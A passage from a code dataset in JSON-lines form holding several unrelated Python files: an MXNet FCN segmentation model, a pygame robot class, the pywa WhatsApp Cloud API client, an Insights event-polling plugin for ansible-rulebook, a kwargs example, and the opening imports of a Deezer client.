numclass, workspace_default)\n softmax = fcnxs_score(score, data, offset()[\"fcn32s_upscore\"], (64,64), (32,32), numclass, workspace_default)\n return softmax\n\ndef get_fcn16s_symbol(numclass=21, workspace_default=1024):\n data = mx.symbol.Variable(name=\"data\")\n pool3 = vgg16_pool3(data, workspace_default)\n pool4 = vgg16_pool4(pool3, workspace_default)\n score = vgg16_score(pool4, numclass, workspace_default)\n # score 2X\n score2 = mx.symbol.Deconvolution(data=score, kernel=(4, 4), stride=(2, 2), num_filter=numclass,\n adj=(1, 1), workspace=workspace_default, name=\"score2\") # 2X\n score_pool4 = mx.symbol.Convolution(data=pool4, kernel=(1, 1), num_filter=numclass,\n workspace=workspace_default, name=\"score_pool4\")\n score_pool4c = mx.symbol.Crop(*[score_pool4, score2], offset=offset()[\"score_pool4c\"], name=\"score_pool4c\")\n score_fused = score2 + score_pool4c\n softmax = fcnxs_score(score_fused, data, offset()[\"fcn16s_upscore\"], (32, 32), (16, 16), numclass, workspace_default)\n return softmax\n\ndef get_fcn8s_symbol(numclass=21, workspace_default=1024):\n data = mx.symbol.Variable(name=\"data\")\n pool3 = vgg16_pool3(data, workspace_default)\n pool4 = vgg16_pool4(pool3, workspace_default)\n score = vgg16_score(pool4, numclass, workspace_default)\n # score 2X\n score2 = mx.symbol.Deconvolution(data=score, kernel=(4, 4), stride=(2, 2),num_filter=numclass,\n adj=(1, 1), workspace=workspace_default, name=\"score2\") # 2X\n score_pool4 = mx.symbol.Convolution(data=pool4, kernel=(1, 1), num_filter=numclass,\n workspace=workspace_default, name=\"score_pool4\")\n score_pool4c = mx.symbol.Crop(*[score_pool4, score2], offset=offset()[\"score_pool4c\"], name=\"score_pool4c\")\n score_fused = score2 + score_pool4c\n # score 4X\n score4 = mx.symbol.Deconvolution(data=score_fused, kernel=(4, 4), stride=(2, 2),num_filter=numclass,\n adj=(1, 1), workspace=workspace_default, name=\"score4\") # 4X\n score_pool3 = mx.symbol.Convolution(data=pool3, kernel=(1, 1), num_filter=numclass,\n workspace=workspace_default, name=\"score_pool3\")\n score_pool3c = mx.symbol.Crop(*[score_pool3, score4], offset=offset()[\"score_pool3c\"], name=\"score_pool3c\")\n score_final = score4 + score_pool3c\n softmax = fcnxs_score(score_final, data, offset()[\"fcn8s_upscore\"], (16, 16), (8, 8), numclass, workspace_default)\n return softmax\n","repo_name":"hpi-xnor/BMXNet","sub_path":"example/fcn-xs/symbol_fcnxs.py","file_name":"symbol_fcnxs.py","file_ext":"py","file_size_in_byte":11535,"program_lang":"python","lang":"en","doc_type":"code","stars":347,"dataset":"github-code","pt":"37"} +{"seq_id":"75226509546","text":"import numpy as np\nimport pygame\nfrom pygame.locals import *\nimport numpy as np\nimport time\nfrom classes import Vertex,PrioQueue,isEmpty, Graph\nimport image as im\nimport sys\n\nclass RobotSimple:\n def __init__(self, x, y, th):\n self.states = ['idle', 'mission']\n self.dirs = {'N' : [0,-1], 'S' : [0, 1], 'E':[1, 0], 'W':[-1, 0]}\n self.state = 'idle'\n self.x = x\n self.y = y\n self.th = th\n self.orders = []\n\n def move(self, dir):\n #print(type(dir), dir)\n #print(type(self.dirs), self.dirs)\n delta = self.dirs[dir]\n self.x += delta[0]\n self.y += delta[1]\n\n def turn(self, newdir):\n self.dir = newdir\n\n def check_end(self):\n pass\n\n def create_orders(self, path):\n for ind, el in enumerate(path[1:]):\n diff = el.label - path[ind].label\n if diff == 1:\n self.orders.append('E')\n elif diff == 9:\n self.orders.append('S')\n elif diff == -1:\n self.orders.append('W')\n elif diff == -9:\n self.orders.append('N')\n else:\n print(\"Error diff : \", diff)\n sys.exit(1)\n\n def display(self, screen, dir):\n size = 50\n screen.blit(im.rob[dir], (self.x*size,self.y*size))\n","repo_name":"dussotro/labyrinthe","sub_path":"lab_simple/robot.py","file_name":"robot.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21004371019","text":"\"\"\"The internal API for the WhatsApp client.\"\"\"\n\nfrom typing import Any, TYPE_CHECKING\n\nimport requests\nimport requests_toolbelt\n\nimport pywa\nfrom pywa.errors import WhatsAppError\n\nif TYPE_CHECKING:\n from pywa import WhatsApp\n\n\nclass WhatsAppCloudApi:\n \"\"\"Internal methods for the WhatsApp client.\"\"\"\n\n def __init__(\n self,\n phone_id: str,\n token: str,\n session: requests.Session,\n base_url: str,\n api_version: float,\n ):\n self.phone_id = phone_id\n if session.headers.get(\"Authorization\") is not None:\n raise ValueError(\n \"You can't use the same requests.Session for multiple WhatsApp instances!\"\n )\n self._session = session\n self._base_url = f\"{base_url}/v{api_version}\"\n self._session.headers = {\n \"Content-Type\": \"application/json\",\n \"Authorization\": f\"Bearer {token}\",\n \"User-Agent\": f\"PyWa/{pywa.__version__}\",\n }\n self._common_keys = {\n \"messaging_product\": \"whatsapp\",\n \"recipient_type\": \"individual\",\n }\n\n def __str__(self) -> str:\n return f\"WhatsAppCloudApi(phone_id={self.phone_id!r})\"\n\n def __repr__(self) -> str:\n return self.__str__()\n\n def _make_request(self, method: str, endpoint: str, **kwargs) -> dict | list:\n \"\"\"\n Internal method to make a request to the WhatsApp Cloud API.\n\n Args:\n method: The HTTP method to use.\n endpoint: The endpoint to request.\n **kwargs: Additional arguments to pass to the request.\n\n Returns:\n The response JSON.\n\n Raises:\n WhatsAppError: If the request failed.\n \"\"\"\n res = self._session.request(\n method=method, url=f\"{self._base_url}{endpoint}\", **kwargs\n )\n if res.status_code >= 400:\n raise WhatsAppError.from_dict(error=res.json()[\"error\"], response=res)\n return res.json()\n\n def get_app_access_token(self, app_id: int, app_secret: str) -> dict[str, str]:\n \"\"\"\n Get an access token for an app.\n\n Return example::\n\n {\n 'access_token': 'xyzxyzxyz',\n 'token_type': 'bearer'\n }\n\n\n Args:\n app_id: The ID of the app.\n app_secret: The secret of the app.\n\n Returns:\n The access token and its type.\n\n \"\"\"\n return self._make_request(\n method=\"GET\",\n endpoint=\"/oauth/access_token\",\n params={\n \"grant_type\": \"client_credentials\",\n \"client_id\": app_id,\n \"client_secret\": app_secret,\n },\n )\n\n def set_callback_url(\n self,\n app_id: int,\n app_access_token: str,\n callback_url: str,\n verify_token: str,\n fields: tuple[str, ...],\n ) -> dict[str, bool]:\n \"\"\"\n Set the callback URL for the webhook.\n\n Return example::\n\n {\n 'success': True\n }\n\n Args:\n app_id: The ID of the app.\n app_access_token: The access token of the app (from ``get_app_access_token``).\n callback_url: The URL to set.\n verify_token: The verify token to challenge the webhook with.\n fields: The fields to subscribe to.\n\n Returns:\n The success of the operation.\n \"\"\"\n return self._make_request(\n method=\"POST\",\n endpoint=f\"/{app_id}/subscriptions\",\n params={\n \"object\": \"whatsapp_business_account\",\n \"callback_url\": callback_url,\n \"verify_token\": verify_token,\n \"fields\": \",\".join(fields),\n \"access_token\": app_access_token,\n },\n )\n\n def set_business_public_key(\n self,\n public_key: str,\n ) -> dict[str, bool]:\n \"\"\"\n Set the public key of the business.\n\n Return example::\n\n {\n 'success': True\n }\n\n Args:\n public_key: The public key to set.\n\n Returns:\n The success of the operation.\n \"\"\"\n return self._make_request(\n method=\"POST\",\n endpoint=f\"/{self.phone_id}/whatsapp_business_encryption\",\n data={\"business_public_key\": public_key},\n )\n\n def send_text_message(\n self,\n to: str,\n text: str,\n preview_url: bool = False,\n reply_to_message_id: str | None = None,\n ) -> dict[str, dict | list]:\n \"\"\"\n Send a text message to a WhatsApp user.\n\n Return example::\n\n {\n 'messaging_product': 'whatsapp',\n 'contacts': [{'input': '1234567890', 'wa_id': '1234567890'}],\n 'messages': [{'id': 'wamid.XXXXXXXXXXXXXXXX=='}]\n }\n\n Args:\n to: The WhatsApp ID of the recipient.\n text: The text to send.\n preview_url: Whether to show a preview of the URL in the message.\n reply_to_message_id: The ID of the message to reply to.\n\n Returns:\n The sent message.\n \"\"\"\n data = {\n **self._common_keys,\n \"to\": to,\n \"type\": \"text\",\n \"text\": {\"body\": text, \"preview_url\": preview_url},\n }\n if reply_to_message_id:\n data[\"context\"] = {\"message_id\": reply_to_message_id}\n\n return self._make_request(\n method=\"POST\",\n endpoint=f\"/{self.phone_id}/messages\",\n json=data,\n )\n\n def upload_media(\n self,\n media: bytes,\n mime_type: str,\n filename: str,\n ) -> dict[str, str]:\n \"\"\"\n Upload a media file to WhatsApp.\n\n Return example::\n\n {\n 'id':''\n }\n\n Args:\n media: media bytes or open(path, 'rb') object\n mime_type: The type of the media file\n filename: The name of the media file\n Returns:\n A dict with the ID of the uploaded media file.\n \"\"\"\n headers = self._session.headers.copy()\n form_data = requests_toolbelt.MultipartEncoder(\n {\n \"file\": (filename, media, mime_type),\n \"messaging_product\": \"whatsapp\",\n \"type\": mime_type,\n }\n )\n headers[\"Content-Type\"] = form_data.content_type\n return self._make_request(\n method=\"POST\",\n endpoint=f\"/{self.phone_id}/media\",\n headers=headers,\n data=form_data,\n )\n\n def get_media_url(self, media_id: str) -> dict:\n \"\"\"\n Get the URL of a media file.\n - The url is valid for 5 minutes and can be downloaded only with access token.\n - For more info: https://developers.facebook.com/docs/whatsapp/cloud-api/reference/media#retrieve-media-url\n\n Return example::\n\n {\n 'url': 'https://lookaside.fbsbx.com/whatsapp_business/attachments/?mid=645645&ext=54353&hash=xxx-xx',\n 'mime_type': 'image/jpeg',\n 'sha256': '73298ec14751fhfonf4wfxxxf52f4fb031db3892ff5',\n 'file_size': 61901,\n 'id': '137524587935346',\n 'messaging_product': 'whatsapp'\n }\n\n Args:\n media_id: The ID of the media file.\n\n Returns:\n A dict with the URL and other info about the media file.\n \"\"\"\n return self._make_request(method=\"GET\", endpoint=f\"/{media_id}\")\n\n def get_media_bytes(\n self,\n media_url: str,\n **kwargs,\n ) -> tuple[bytes, str | None]:\n \"\"\"\n Get the bytes of a media file from WhatsApp servers.\n\n Args:\n media_url: The URL of the media file (from ``get_media_url``).\n **kwargs: Additional arguments to pass to the request.\n\n Returns:\n The media file bytes and the MIME type (if available).\n \"\"\"\n headers = self._session.headers.copy()\n del headers[\"Content-Type\"]\n res = self._session.get(media_url, headers=headers, **kwargs)\n res.raise_for_status()\n return res.content, res.headers.get(\"Content-Type\")\n\n def delete_media(self, media_id: str) -> dict[str, bool]:\n \"\"\"\n Delete a media file from WhatsApp servers.\n\n Return example::\n\n {'success': True}\n\n Args:\n media_id: The ID of the media file.\n\n Returns:\n True if the media file was deleted successfully, False otherwise.\n \"\"\"\n return self._make_request(method=\"DELETE\", endpoint=f\"/{media_id}\")\n\n def send_media(\n self,\n to: str,\n media_id_or_url: str,\n media_type: str,\n is_url: bool,\n caption: str | None = None,\n filename: str | None = None,\n ) -> dict[str, dict | list]:\n \"\"\"\n Send a media file to a WhatsApp user.\n\n Return example::\n\n {\n 'messaging_product': 'whatsapp',\n 'contacts': [{'input': '1234567890', 'wa_id': '1234567890'}],\n 'messages': [{'id': 'wamid.XXXXXXXXXXXXXXXX=='}]\n }\n\n Args:\n to: The WhatsApp ID of the recipient.\n media_id_or_url: The ID or URL of the media file to send.\n is_url: Whether the media_id_or_url is a URL or an ID.\n media_type: The type of the media file (e.g. 'image', 'video', 'document').\n caption: The caption to send with the media file (only for images, videos and documents).\n filename: The filename to send with the media file (only for documents).\n\n Returns:\n The sent message.\n \"\"\"\n data = {\n **self._common_keys,\n \"to\": to,\n \"type\": media_type,\n media_type: {\n (\"link\" if is_url else \"id\"): media_id_or_url,\n **({\"caption\": caption} if caption else {}),\n **({\"filename\": filename} if filename else {}),\n },\n }\n return self._make_request(\n method=\"POST\",\n endpoint=f\"/{self.phone_id}/messages\",\n json=data,\n )\n\n def send_reaction(\n self,\n to: str,\n emoji: str,\n message_id: str,\n ) -> dict[str, dict | list]:\n \"\"\"\n Send a reaction to a message.\n\n Return example::\n\n {\n 'messaging_product': 'whatsapp',\n 'contacts': [{'input': '1234567890', 'wa_id': '1234567890'}],\n 'messages': [{'id': 'wamid.XXXXXXXXXXXXXXXX=='}]\n }\n\n Args:\n to: The WhatsApp ID of the recipient.\n emoji: The emoji to react with (empty to remove reaction).\n message_id: The ID of the message to react to.\n\n Returns:\n The sent message.\n \"\"\"\n return self._make_request(\n method=\"POST\",\n endpoint=f\"/{self.phone_id}/messages/\",\n json={\n **self._common_keys,\n \"to\": to,\n \"type\": \"reaction\",\n \"reaction\": {\"emoji\": emoji, \"message_id\": message_id},\n },\n )\n\n def send_location(\n self,\n to: str,\n latitude: float,\n longitude: float,\n name: str | None = None,\n address: str | None = None,\n ) -> dict[str, dict | list]:\n \"\"\"\n Send a location to a WhatsApp user.\n\n Return example::\n\n {\n 'messaging_product': 'whatsapp',\n 'contacts': [{'input': '1234567890', 'wa_id': '1234567890'}],\n 'messages': [{'id': 'wamid.XXXXXXXXXXXXXXXX=='}]\n }\n\n Args:\n to: The WhatsApp ID of the recipient.\n latitude: The latitude of the location.\n longitude: The longitude of the location.\n name: The name of the location.\n address: The address of the location.\n\n Returns:\n The sent message.\n \"\"\"\n data = {\n **self._common_keys,\n \"to\": to,\n \"type\": \"location\",\n \"location\": {\n \"latitude\": latitude,\n \"longitude\": longitude,\n \"name\": name,\n \"address\": address,\n },\n }\n\n return self._make_request(\n method=\"POST\",\n endpoint=f\"/{self.phone_id}/messages\",\n json=data,\n )\n\n def send_raw_request(self, method: str, endpoint: str, **kwargs) -> Any:\n \"\"\"\n Send a raw request to WhatsApp Cloud API.\n\n - Use this method if you want to send a request that is not yet supported by pywa.\n - The endpoint can contain path parameters (e.g. ``/{phone_id}/messages/``). only ``phone_id`` is supported.\n - Every request will automatically include the ``Authorization`` and ``Content-Type`` headers. you can override them by passing them in ``kwargs`` (headers={...}).\n\n Args:\n method: The HTTP method to use (e.g. ``POST``, ``GET``, etc.).\n endpoint: The endpoint to send the message to (e.g. ``/{phone_id}/messages/``).\n **kwargs: Additional arguments to send with the request (e.g. ``json={...}, headers={...}``).\n\n Example:\n\n >>> wa = WhatsApp(...)\n >>> wa.api.send_raw_request(\n .. method=\"POST\",\n .. endpoint=\"/{phone_id}/messages\",\n .. json={\"to\": \"1234567890\", \"type\": \"text\", \"text\": {\"body\": \"Hello, World!\"}}\n .. )\n {\n 'messaging_product': 'whatsapp',\n 'contacts': [{'input': '1234567890', 'wa_id': '1234567890'}],\n 'messages': [{'id': 'wamid.XXXXXXXXXXXXXXXX=='}]\n }\n\n Returns:\n The response from the WhatsApp Cloud API.\n \"\"\"\n return self._make_request(\n method=method,\n endpoint=endpoint.format(phone_id=self.phone_id),\n **kwargs,\n )\n\n def send_interactive_message(\n self,\n to: str,\n type_: str,\n action: dict[str, Any],\n header: dict | None = None,\n body: str | None = None,\n footer: str | None = None,\n reply_to_message_id: str | None = None,\n ) -> dict[str, dict | list]:\n \"\"\"\n Send an interactive message to a WhatsApp user.\n\n Return example::\n\n {\n 'messaging_product': 'whatsapp',\n 'contacts': [{'input': '1234567890', 'wa_id': '1234567890'}],\n 'messages': [{'id': 'wamid.XXXXXXXXXXXXXXXX=='}]\n }\n\n Args:\n to: The WhatsApp ID of the recipient.\n type_: The type of the message (e.g. ``list``, ``button``, ``product``, etc.).\n action: The action of the message.\n header: The header of the message.\n body: The body of the message.\n footer: The footer of the message.\n reply_to_message_id: The ID of the message to reply to.\n\n Returns:\n The sent message.\n \"\"\"\n return self._make_request(\n method=\"POST\",\n endpoint=f\"/{self.phone_id}/messages\",\n json={\n **self._common_keys,\n \"to\": to,\n \"type\": \"interactive\",\n \"interactive\": {\n \"type\": type_,\n \"action\": action,\n **({\"header\": header} if header else {}),\n **({\"body\": {\"text\": body}} if body else {}),\n **({\"footer\": {\"text\": footer}} if footer else {}),\n },\n **(\n {\"context\": {\"message_id\": reply_to_message_id}}\n if reply_to_message_id\n else {}\n ),\n },\n )\n\n def send_contacts(\n self,\n to: str,\n contacts: tuple[dict[str, Any]],\n reply_to_message_id: str | None = None,\n ) -> dict[str, dict | list]:\n \"\"\"\n Send a list of contacts to a WhatsApp user.\n\n Return example::\n\n {\n 'messaging_product': 'whatsapp',\n 'contacts': [{'input': '1234567890', 'wa_id': '1234567890'}],\n 'messages': [{'id': 'wamid.XXXXXXXXXXXXXXXX=='}]\n }\n\n Args:\n to: The WhatsApp ID of the recipient.\n contacts: The contacts to send.\n reply_to_message_id: The ID of the message to reply to.\n\n Returns:\n The sent message.\n \"\"\"\n data = {\n **self._common_keys,\n \"to\": to,\n \"type\": \"contacts\",\n \"contacts\": tuple(contacts),\n }\n if reply_to_message_id:\n data[\"context\"] = {\"message_id\": reply_to_message_id}\n return self._make_request(\n method=\"POST\",\n endpoint=f\"/{self.phone_id}/messages\",\n json=data,\n )\n\n def mark_message_as_read(self, message_id: str) -> dict[str, bool]:\n \"\"\"\n Mark a message as read.\n\n Return example::\n\n {\n 'success': True\n }\n\n Args:\n message_id: The ID of the message to mark as read.\n\n Returns:\n The success of the operation.\n \"\"\"\n return self._make_request(\n method=\"POST\",\n endpoint=f\"/{self.phone_id}/messages\",\n json={\n \"messaging_product\": \"whatsapp\",\n \"status\": \"read\",\n \"message_id\": message_id,\n },\n )\n\n def get_business_profile(\n self,\n ) -> dict[str, list[dict[str, str | list[str]]]]:\n \"\"\"\n Get the business profile.\n\n Return example::\n\n {\n \"data\": [{\n \"about\": \"ABOUT\",\n \"address\": \"ADDRESS\",\n \"description\": \"DESCRIPTION\",\n \"email\": \"EMAIL\",\n \"messaging_product\": \"whatsapp\",\n \"profile_picture_url\": \"https://URL\",\n \"websites\": [\n \"https://WEBSITE-1\",\n \"https://WEBSITE-2\"\n ],\n \"vertical\": \"INDUSTRY\",\n }]\n }\n \"\"\"\n fields = (\n \"about\",\n \"address\",\n \"description\",\n \"email\",\n \"profile_picture_url\",\n \"websites\",\n \"vertical\",\n )\n return self._make_request(\n method=\"GET\",\n endpoint=f\"/{self.phone_id}/whatsapp_business_profile?fields={','.join(fields)}\",\n )\n\n def update_business_profile(\n self, data: dict[str, str | list[str]]\n ) -> dict[str, bool]:\n \"\"\"\n Update the business profile.\n\n Args:\n data: The data to update the business profile with.\n\n Return example::\n\n {\n \"success\": True\n }\n \"\"\"\n data.update(messaging_product=\"whatsapp\")\n return self._make_request(\n method=\"POST\",\n endpoint=f\"/{self.phone_id}/whatsapp_business_profile\",\n json=data,\n )\n\n def get_commerce_settings(self) -> dict[str, list[dict]]:\n \"\"\"\n Get the commerce settings of the business catalog.\n\n Return example::\n\n {\n \"data\": [\n {\n \"is_cart_enabled\": True,\n \"is_catalog_visible\": True,\n \"id\": \"727705352028726\"\n }\n ]\n }\n \"\"\"\n return self._make_request(\n method=\"GET\",\n endpoint=f\"/{self.phone_id}/whatsapp_commerce_settings\",\n )\n\n def update_commerce_settings(self, data: dict) -> dict[str, bool]:\n \"\"\"\n Change the commerce settings of the business catalog.\n\n Args:\n data: The data to update the commerce settings with.\n\n Return example::\n\n {\n \"success\": True\n }\n \"\"\"\n return self._make_request(\n method=\"POST\",\n endpoint=f\"/{self.phone_id}/whatsapp_commerce_settings\",\n params=data,\n )\n\n def create_template(\n self,\n business_account_id: str,\n template: dict[str, str | list[str]],\n ) -> dict[str, str]:\n \"\"\"\n Create a message template.\n\n Args:\n business_account_id: The ID of the business account.\n template: The template to create.\n\n Return example::\n\n {\n \"id\": \"594425479261596\",\n \"status\": \"PENDING\",\n \"category\": \"MARKETING\"\n }\n \"\"\"\n return self._make_request(\n method=\"POST\",\n endpoint=f\"/{business_account_id}/message_templates\",\n json=template,\n )\n\n def send_template(\n self,\n to: str,\n template: dict,\n reply_to_message_id: str | None = None,\n ) -> dict[str, dict | list]:\n \"\"\"\n Send a template to a WhatsApp user.\n\n Args:\n to: The WhatsApp ID of the recipient.\n template: The template to send.\n reply_to_message_id: The ID of the message to reply to.\n\n Returns example::\n\n {\n 'messaging_product': 'whatsapp',\n 'contacts': [{'input': '1234567890', 'wa_id': '1234567890'}],\n 'messages': [{'id': 'wamid.XXXXXXXXXXXXXXXX=='}]\n }\n\n \"\"\"\n data = {\n **self._common_keys,\n \"to\": to,\n \"type\": \"template\",\n \"template\": template,\n }\n if reply_to_message_id:\n data[\"context\"] = {\"message_id\": reply_to_message_id}\n return self._make_request(\n method=\"POST\",\n endpoint=f\"/{self.phone_id}/messages\",\n json=data,\n )\n\n def create_flow(\n self,\n business_account_id: str,\n name: str,\n categories: tuple[str, ...],\n clone_flow_id: str | None = None,\n ) -> dict[str, str]:\n \"\"\"\n Create or clone a flow.\n\n Args:\n business_account_id: The ID of the business account.\n name: The name of the flow.\n categories: The categories of the flow.\n clone_flow_id: The ID of the flow to clone.\n\n Return example::\n\n {\n \"id\": \"\"\n }\n \"\"\"\n data = {\n \"name\": name,\n \"categories\": categories,\n **({\"clone_flow_id\": clone_flow_id} if clone_flow_id else {}),\n }\n return self._make_request(\n method=\"POST\",\n endpoint=f\"/{business_account_id}/flows\",\n json=data,\n )\n\n def update_flow_metadata(\n self,\n flow_id: str,\n name: str | None = None,\n categories: tuple[str, ...] | None = None,\n endpoint_uri: str | None = None,\n ) -> dict[str, bool]:\n \"\"\"\n Update the metadata of a flow.\n\n Args:\n flow_id: The ID of the flow.\n name: The name of the flow.\n categories: The categories of the flow.\n endpoint_uri: The endpoint URI of the flow.\n\n Return example::\n\n {\n \"success\": True\n }\n \"\"\"\n data = {\n **({\"name\": name} if name else {}),\n **({\"endpoint_uri\": endpoint_uri} if endpoint_uri else {}),\n **({\"categories\": categories} if categories else {}),\n }\n return self._make_request(\n method=\"POST\",\n endpoint=f\"/{flow_id}\",\n json=data,\n )\n\n def update_flow_json(self, flow_id: str, flow_json: str) -> dict:\n \"\"\"\n Update the JSON of a flow.\n\n Args:\n flow_id: The ID of the flow.\n flow_json: The JSON of the flow.\n\n Return example::\n\n {\n \"success\": true,\n \"validation_errors\": [\n {\n \"error\": \"INVALID_PROPERTY\",\n \"error_type\": \"JSON_SCHEMA_ERROR\",\n \"message\": \"The property \\\"initial-text\\\" cannot be specified at \\\"$root/screens/0/layout/children/2/children/0\\\".\",\n \"line_start\": 46,\n \"line_end\": 46,\n \"column_start\": 17,\n \"column_end\": 30\n }\n ]\n }\n \"\"\"\n form_data = requests_toolbelt.MultipartEncoder(\n {\n \"file\": (\"flow.json\", flow_json, \"application/json\"),\n \"name\": \"flow.json\",\n \"asset_type\": \"FLOW_JSON\",\n \"messaging_product\": \"whatsapp\",\n }\n )\n headers = self._session.headers.copy()\n headers[\"Content-Type\"] = form_data.content_type\n return self._make_request(\n method=\"POST\",\n endpoint=f\"/{flow_id}/assets\",\n headers=headers,\n data=form_data,\n )\n\n def publish_flow(\n self,\n flow_id: str,\n ) -> dict[str, bool]:\n \"\"\"\n Publish a flow.\n\n Args:\n flow_id: The ID of the flow.\n\n Return example::\n\n {\n \"success\": true\n }\n \"\"\"\n return self._make_request(\n method=\"POST\",\n endpoint=f\"/{flow_id}/publish\",\n )\n\n def delete_flow(\n self,\n flow_id: str,\n ) -> dict[str, bool]:\n \"\"\"\n Delete a flow.\n\n Args:\n flow_id: The ID of the flow.\n\n Return example::\n\n {\n \"success\": true\n }\n \"\"\"\n\n return self._make_request(\n method=\"DELETE\",\n endpoint=f\"/{flow_id}\",\n )\n\n def deprecate_flow(\n self,\n flow_id: str,\n ) -> dict[str, bool]:\n \"\"\"\n Deprecate a flow.\n\n Args:\n flow_id: The ID of the flow.\n\n Return example::\n\n {\n \"success\": true\n }\n \"\"\"\n\n return self._make_request(\n method=\"POST\",\n endpoint=f\"/{flow_id}/deprecate\",\n )\n\n def get_flow(\n self,\n flow_id: str,\n fields: tuple[str, ...] | None = None,\n ) -> dict[str, Any]:\n \"\"\"\n Get a flow.\n\n Args:\n flow_id: The ID of the flow.\n fields: The fields to get.\n\n Return example::\n\n {\n \"id\": \"\",\n \"name\": \"\",\n \"status\": \"DRAFT\",\n \"categories\": [ \"LEAD_GENERATION\" ],\n \"validation_errors\": [],\n \"json_version\": \"3.0\",\n \"data_api_version\": \"3.0\",\n \"endpoint_uri\": \"https://example.com\",\n \"preview\": {\n \"preview_url\": \"https://business.facebook.com/wa/manage/flows/55000..../preview/?token=b9d6.....\",\n \"expires_at\": \"2023-05-21T11:18:09+0000\"\n },\n \"whatsapp_business_account\": {\n ...\n },\n \"application\": {\n ...\n }\n }\n \"\"\"\n endpoint = f\"/{flow_id}\"\n if fields:\n endpoint += f\"?fields={','.join(fields)}\"\n return self._make_request(\n method=\"GET\",\n endpoint=endpoint,\n )\n\n def get_flows(\n self,\n business_account_id: str,\n fields: tuple[str, ...] | None = None,\n ) -> dict[str, list[dict[str, Any]]]:\n \"\"\"\n Get all flows.\n\n Args:\n business_account_id: The ID of the business account.\n fields: The fields to get.\n\n Return example::\n\n {\n \"data\": [\n {\n \"id\": \"\",\n \"name\": \"\",\n \"status\": \"DRAFT\",\n \"categories\": [ \"LEAD_GENERATION\" ]\n },\n {\n \"id\": \"\",\n \"name\": \"\",\n \"status\": \"DRAFT\",\n \"categories\": [ \"LEAD_GENERATION\" ]\n }\n ]\n }\n \"\"\"\n endpoint = f\"/{business_account_id}/flows\"\n if fields:\n endpoint += f\"?fields={','.join(fields)}\"\n return self._make_request(\n method=\"GET\",\n endpoint=endpoint,\n )\n\n def get_flow_assets(\n self,\n flow_id: str,\n ) -> dict[str, list | dict]:\n \"\"\"\n Get all assets of a flow.\n\n Args:\n flow_id: The ID of the flow.\n\n Return example::\n\n {\n \"data\": [\n {\n \"name\": \"flow.json\",\n \"asset_type\": \"FLOW_JSON\",\n \"download_url\": \"https://scontent.xx.fbcdn.net/m1/v/t0.57323-24/An_Hq0jnfJ...\"\n }\n ],\n \"paging\": {\n \"cursors\": {\n \"before\": \"QVFIU...\",\n \"after\": \"QVFIU...\"\n }\n }\n }\n \"\"\"\n return self._make_request(\n method=\"GET\",\n endpoint=f\"/{flow_id}/assets\",\n )\n","repo_name":"david-lev/pywa","sub_path":"pywa/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":29561,"program_lang":"python","lang":"en","doc_type":"code","stars":75,"dataset":"github-code","pt":"37"} +{"seq_id":"32404827574","text":"\"\"\"\nnew_events.py\n\nevent-driven-ansible source plugin example\n\nPoll Insights API for new events\nOnly retrieves records created after the script began executing\nThis script can be tested outside of ansible-rulebook by specifying\nenvironment variables for HCC_HOST, HCC_USERNAME, HCC_PASSWORD\n\nArguments:\n - instance: Hybrid Cloud Console URL (e.g. https://console.redhat.com)\n - username: Insights username\n - password: Insights password\n - query: (optional) Events to query. Defaults to all events created today\n - interval: (optional) How often to poll for new records. Defaults to 60 seconds\n\n- name: Watch for new events\n hosts: localhost\n sources:\n - cloin.servicenow.new_records:\n instance: https://console.redhat.com\n username: rh-jmarc\n password: *******\n interval: 60\n rules:\n - name: New event received\n condition: event.id is defined\n action:\n debug:\n\"\"\"\n\nimport asyncio\nimport time\nimport os\nfrom datetime import date\nfrom datetime import timedelta\nfrom typing import Any, Dict\nimport aiohttp\n\n# Entrypoint from ansible-rulebook\nasync def main(queue: asyncio.Queue, args: Dict[str, Any]):\n\n instance = args.get(\"instance\")\n token = args.get(\"token\")\n today = date.today()\n yesterday = today - timedelta(days = 1)\n query = args.get(\"query\", \"endDate=\" + today.strftime('%Y-%m-%d') +\"&startDate=\" + yesterday.strftime('%Y-%m-%d') + \"&includePayload=true&limit=20\")\n interval = int(args.get(\"interval\", 60))\n headers = {'accept': 'application/json','Authorization': \"Bearer {}\".format(token)}\n\n start_time = time.time()\n start_time_str = time.strftime('%Y-%m-%d', time.gmtime(start_time))\n printed_events = set()\n async with aiohttp.ClientSession(headers=headers) as session:\n while True:\n async with session.get(f'{instance}/api/notifications/v1.0/notifications/events?{query}') as resp:\n if resp.status == 200:\n\n events = await resp.json()\n for event in events['data']:\n\n if event['created'] > start_time_str and event['id'] not in printed_events:\n printed_events.add(event['id'])\n await queue.put(event)\n\n else:\n print(f'Error {resp.status}')\n await asyncio.sleep(interval)\n\n\n# this is only called when testing plugin directly, without ansible-rulebook\nif __name__ == \"__main__\":\n instance = os.environ.get('HCC_HOST')\n token = os.environ.get('HCC_TOKEN')\n\n class MockQueue:\n print(f\"Waiting for events...\")\n async def put(self, event):\n print(event)\n\n asyncio.run(main(MockQueue(), {\"instance\": instance, \"token\": token}))\n","repo_name":"jeromemarc/eda-insights-pulling","sub_path":"new_events.py","file_name":"new_events.py","file_ext":"py","file_size_in_byte":2764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19055934080","text":"class Employee(object):\n def __init__(self, **kwargs):\n for key in kwargs:\n setattr(self, key, kwargs[key])\n \n \nemp = Employee(age=25, name=\"John Doe\")\nprint(emp.age)\nprint(emp.name)\n\nemp.salary = 1000 #added new property\nemp.blood = \"O+\"\nemp.city = \"Delhi\"\n\nprint(emp.city)\n\ntemp = vars(emp)\nfor item in temp:\n print(item, ':', temp[item])","repo_name":"vijaysharma1996/OOPS_example_python_c-","sub_path":"oopspyhton/MultipleClassVariables.py","file_name":"MultipleClassVariables.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30817897046","text":"from functools import partial\nimport json\nimport hashlib\nfrom os import path\n\nimport requests\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nimport mutagen\nfrom mutagen import File\nfrom mutagen.id3 import ID3, APIC\nfrom mutagen.easyid3 import EasyID3\nfrom mutagen.mp3 import MP3\nfrom tqdm import tqdm\n\nfrom .constants import *\n\nfrom .exceptions import LoginError\nfrom .exceptions import APIRequestError\nfrom .exceptions import DownloadLinkDecryptionError\n\nfrom . import util\n\n\nclass Deezer:\n def 